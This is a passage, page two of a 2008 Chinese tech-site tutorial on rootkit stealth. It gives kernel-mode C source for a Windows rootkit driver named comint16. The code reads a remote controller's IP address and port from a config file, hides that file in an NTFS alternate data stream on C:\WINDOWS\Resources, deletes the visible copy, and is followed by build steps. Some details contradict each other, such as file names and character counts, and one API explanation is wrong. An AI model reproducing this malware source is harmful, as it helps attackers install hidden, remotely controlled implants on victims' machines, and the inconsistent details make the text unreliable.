科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道Rootkit隐形技术入门

Rootkit隐形技术入门

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。

作者:宇文 来源:51CTO.com 2008年10月10日

关键字: 攻击防范 Rootkit隐形 rootkit 黑客

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共3页)

  三、配置管理器

  我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:  

  // configManager.h

  // 配置管理器的头文件

  #ifndef _CONFIG_MANAGER_H_

  #define _CONFIG_MANAGER_H_

  Char masterPort[10];

  Char masterAddress1[4];

  Char masterAddress2[4];

  Char masterAddress3[4];

  Char masterAddress4[4];

  NTSTATUS Configure();

  #endif

  我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。最后声明了一个函数。接下来,我们看一下配置管理器的源代码:  

  // configManager.c

  // 首先从c:\config16寻找配置文件

  // If it's there, save as MASTER_FILE:config16 and delete c:\config16

  // If it's not there, try MASTER_FILE:configFile

  // If that doesn't exist, quit!

  #include "ntddk.h"

  #include "fileManager.h"

  #include "configManager.h"

  // Set the controllers IP and port

  NTSTATUS Configure()

  {

  CHAR data[21];

  SHORT vis = 0;

  SHORT loop;

  SHORT dataIndex;

  SHORT addressIndex;

  ULONG fileSize;

  PHANDLE fileHandle;

  //了解读哪个文件

  if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) )

  {

  DbgPrint("comint16: Reading config from visible file.");

  vis = 1;

  }

  else

  {

  if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) )

  {

  DbgPrint("comint16: Reading config from hidden file.");

  }

  else

  {

  DbgPrint("comint16: Error. Could not find a config file.");

  return STATUS_UNSUCCESSFUL;

  }

  }

  //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式

  dataIndex = 0;

  addressIndex = 0;

  // First 3 are xxx of xxx.111.111.111:11111

  for( loop = 0; loop < 3; loop++ )

  masterAddress1[addressIndex++] = data[dataIndex++];

  masterAddress1[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过点号“.”

  //接下来是111.xxx.111.111:11111中的xxx

  for( loop = 0; loop < 3; loop++ )

  masterAddress2[addressIndex++] = data[dataIndex++];

  masterAddress2[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过点号“.”

  //然后处理111.111.xxx.111:11111中的xxx

  for( loop = 0; loop < 3; loop++ )

  masterAddress3[addressIndex++] = data[dataIndex++];

  masterAddress3[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过点号“.”

  //然后处理111.111.111.xxx:11111中的xxx

  for( loop = 0; loop < 3; loop++ )

  masterAddress4[addressIndex++] = data[dataIndex++];

  masterAddress4[addressIndex] = 0;

  addressIndex = 0; //复位

  dataIndex++; //跳过冒号“:”

  //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx

  for( loop = 0; loop < 5; loop++ )

  masterPort[addressIndex++] = data[dataIndex++];

  masterPort[addressIndex] = 0;

  DbgPrint( "comint16: Using %s.%s.%s.%s:%s",

  masterAddress1,

  masterAddress2,

  masterAddress3,

  masterAddress4,

  masterPort);

  if( vis == 1 )

  {

  DbgPrint("comint16: Saving config to hidden file.");

  PutFile( L"config16", data, fileSize );

  DbgPrint("comint16: You may delete the visible file.");

  }

  return STATUS_SUCCESS;

  }

  以上是配置管理器的源代码。该配置管理器的作用很明显,就是从一个文件中读取17个字符。不过存放这些字符的文件的位置反倒有点复杂:当我们第一次安装rootkit时,该配置文件必须位于c:\config 32,如果配置文件不在这里,rootkit会安静地“结束”;当rootkit激活后,它会把这个配置文件以交换数据流(ADS)形式隐藏起来。

  上面提到了用交换数据流来隐藏文件。也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。

  四、交换数据流

  利用Windows提供的交换数据流功能,我们可以在不影响文件及其大小的情况下,捎带其他一些东西,如图标等。想当初,微软公司将此功能添加至Windows操作系统的初衷并非向用户提供一种隐藏文件的把戏,但它的确有这种功效:我们正好可以利用它为配置文件提供藏身之所。其实,该方法不仅适用于文件,同样也是用于目录,因为目录也是文件的一种。与其把配置文件附着在一个“惹眼”的系统文件上,倒不如将其挂在一个不起眼的目录上,后者的保险系数更高一些。

  为了让读者感性地认识一下交换数据流,您可以亲自在DOS命令提示符下做个小实验。首先,建立一个文件,并将其命名为test .txt ,保存,然后看一下该文件的大小。 现在,在DOS提示符下键入以下命令:  

  echo nihao >test.txt:alternate.txt

  该命令给test.txt文件添加一个交换数据流,该数据流的名称为test.txt:alternate.txt,内容为nihao。如果用dir命令来检查的话,我们只看到test.txt文件,并且其大小依旧不变。不过,我们在DOS提示符下键入以下命令  

  notepad test.txt:alternate.txt

  就能看到交换数据流的内容了。这个实验并不复杂,建议读者动手做一下。需要说明的是,它不适用于FAT文件系统,在NTFS文件系统下才奏效。

  好了,现在看看我们需要隐藏的配置的具体格式,如下所示:  

  XXX.XXX.XXX.XXX:YYYYY

  其中,XXX.XXX.XXX.XXX代表控制端的IP地址,由十二个阿拉伯数字组成;YYYYY表示控制端所侦听的端口号,由五位阿拉伯数字组成。该配置最初存放在文件c:\config16中,一旦rootkit运行一次之后,它读取该配置,将其挂靠到目录C:\WINDOWS\Resources上以交换数据流文件(C:\WINDOWS\Resources:config16)的形式存放,并将原来的文件c:\config16删除。也就是说,以rootkit初次运行为分水岭,之前,配置位于c:\config16文件中;之后,位于C:\WINDOWS\Resources:config16文件中。同样,以rootkit初次运行为分水岭,第一次运行时,rootkit从c:\config16文件读取配置;之后,从C:\WINDOWS\Resources:config16文件中读取配置。

  至于数据流所挂靠的目录,如C:\WINDOWS \Resources 在fileManager.h文件中加以定义。虽然使用硬编码的路径即在代码中直接给出目录名如C:\WINDOWS比较直接,但是需要考虑健壮性的时候,在给rootkit指定隐藏文件的位置时,通过操作系统来查找%WINDOWS%目录更为稳妥。

  上面介绍了配置文件的格式和对配置文件的处理,不过具体工作都是由软件代劳的。完成这部分工作的软件我们称其为文件管理器。这里是我们的文件管理器的头文件,源代码如下所示:  

  //fileManager.h

  #ifndef _FILE_MANAGER_H_

  #define _FILE_MANAGER_H_

  //尽管微软的文档没有提及,但是NTFS-ADS还能用于目录。

  //为了防止rootkit被一网打尽,黑客通常不会一个目录用到底,而是打一枪换一个地方

  #define MASTER_FILE L"\\??\\C:\\WINDOWS\\Resources"

  NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG

  fileSizePtr );

  NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize );

  #endif

  FileManager.h文件中,我们将交换数据流的位置定义为MASTER_FILE ,同时声明了两个函数GetFile 和PutFile,这两个函数会在上面的configManager.c中用过,并且在下面对配置文件实现隐形的代码中也大有可为: 

  // fileManager.c

  // 向MASTER_FILE存放交换数据流或者从MASTER_FILE取出交换数据流时,无需路径

  // 与之相反,向可见的文件系统存放交换数据流或者从可见的文件系统取出交换数据

  流时,需用绝对路径

  #include "ntddk.h"

  #include

  #include "fileManager.h"

  #include "Invisible.h"

  NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG

  fileSizePtr )

  {

  NTSTATUS rc;

  WCHAR ADSName[256];

  HANDLE hStream;

  OBJECT_ATTRIBUTES ObjectAttr;

  UNICODE_STRING FileName;

  IO_STATUS_BLOCK ioStatusBlock;

  CHAR string[256];

  // 设置文件尺寸

  *fileSizePtr = 0;

  // 如果不是绝对路径,从NTFS-ADS中读

  if( wcschr( filename, '\\' ) == NULL )

  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );

  else

  wcscpy( ADSName, filename );

  RtlInitUnicodeString( &FileName, ADSName );

  InitializeObjectAttributes( &ObjectAttr,

  &FileName,

  OBJ_CASE_INSENSITIVE,

  NULL,

  NULL);

  rc = ZwOpenFile(

  &hStream,

  SYNCHRONIZE | GENERIC_ALL,

  &ObjectAttr,

  &ioStatusBlock,

  FILE_SHARE_READ | FILE_SHARE_WRITE,

  FILE_SYNCHRONOUS_IO_NONALERT );

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: GetFile() ZwOpenFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",

  rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  return( STATUS_UNSUCCESSFUL );

  }

  rc = ZwReadFile(

  hStream,

  NULL,

  NULL,

  NULL,

  &ioStatusBlock,

  buffer,

  buffersize,

  NULL,

  NULL );

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: GetFile() ZwReadFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",

  rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  return( STATUS_UNSUCCESSFUL );

  }

  //成功读取后,返回读取的字节数量

  *fileSizePtr = ioStatusBlock.Information;

  ZwClose( hStream );

  return( STATUS_SUCCESS );

  }

  NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize )

  {

  NTSTATUS rc;

  WCHAR ADSName[256];

  HANDLE hStream;

  OBJECT_ATTRIBUTES ObjectAttr;

  UNICODE_STRING FileName;

  IO_STATUS_BLOCK ioStatusBlock;

  CHAR string[256];

  //如果不是绝对路径,交给NTFS-ADS

  if( wcschr( filename, '\\' ) == NULL )

  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );

  else

  wcscpy( ADSName, filename );

  RtlInitUnicodeString( &FileName, ADSName );

  InitializeObjectAttributes( &ObjectAttr,

  &FileName,

  OBJ_CASE_INSENSITIVE,

  NULL,

  NULL);

  rc = ZwCreateFile(

  &hStream,

  SYNCHRONIZE | GENERIC_ALL,

  &ObjectAttr,

  &ioStatusBlock,

  NULL,

  FILE_ATTRIBUTE_NORMAL,

  FILE_SHARE_READ | FILE_SHARE_WRITE,

  FILE_OVERWRITE_IF,

  FILE_SYNCHRONOUS_IO_NONALERT,

  NULL,

  0);

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: PutFile() ZwCreateFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  return( STATUS_UNSUCCESSFUL );

  }

  rc = ZwWriteFile(

  hStream,

  NULL,

  NULL,

  NULL,

  &ioStatusBlock,

  buffer,

  buffersize,

  NULL,

  NULL );

  if ( rc != STATUS_SUCCESS )

  {

  DbgPrint( "comint16: PutFile() ZwWriteFile() failed.\n" );

  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,

  ioStatusBlock.Status );

  DbgPrint( string );

  ZwClose( hStream );

  return( STATUS_UNSUCCESSFUL );

  }

  ZwClose( hStream );

  return( STATUS_SUCCESS );

  }

  在FileManager.c文件中,定义了GetFile 和PutFile两个函数。需要注意的是,这两个函数都是使用的宽字符串。这是因为目前Windows操作系统用的都是宽字符,既然跟操作系统打交道的话,我们自然要入乡随俗了。还有一个问题需要注意,宽字符串在使用时,必须先初始化,然后才能使用,我们用RtlInitUnicodeString函数初始化宽字符串。

  ZwOpenFile类似于用户模式SDK中的函数OpenFile,只不过前者用于内核模式。前面说过,我们的rootkit是一个内核模式设备驱动程序,因为在内核模式下运行,只能用内核模式下的函数ZwOpenFile来打开文件。ZwOpenFile函数名中的前缀“Zw”表示这是与文件操作有关的函数。

  GetFile主要由ZwOpenFile、ZwReadFile和ZwClose三个函数组成;PutFile主要由ZwCreateFile 、ZwWriteFile 和ZwClose 三个函数组成。

  当我们利用DDK编译程序时,除了源代码外,还需要另外两个文件:一个SOURCES 文件和一个MAKEFILE。DDK通过这些文件确定要编译哪些文件,如何编译,编译后所得目标文件如何命名等。就本例而言,需要编译的源文件是Invisible.c、fileManager.c和configManager.c;将其编译成驱动程序;驱动程序名为comint16。这里是SOURCES文件内容:  

  TARGETNAME=comint16

  TARGETPATH=OBJ

  TARGETTYPE=DRIVER

  SOURCES=Invisible.c\

  fileManager.c\

  configManager.c

  进行不同的编译时,SOURCES文件会随之变化。但是MAKEFILE将保持不变,其内容如下所示:  

  #

  #千万别改它!

  #

  !INCLUDE $(NTMAKEENV)\makefile.def

  好了,忙活了半天了,现在是编译我们的程序的时候了:从DDK中单击checked-build environment,在打开的命令窗口中切换至源代码所在目录,输入命令build,剩下事情就由DDK替我们代劳了。如果一切顺利,我们将得到一些新文件,其中一个是commint32.sys,它就是我们的rootkit,它实际上是个设备驱动程序。

  现在,rootkit已经到手,现在是考虑安装问题的时候了。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章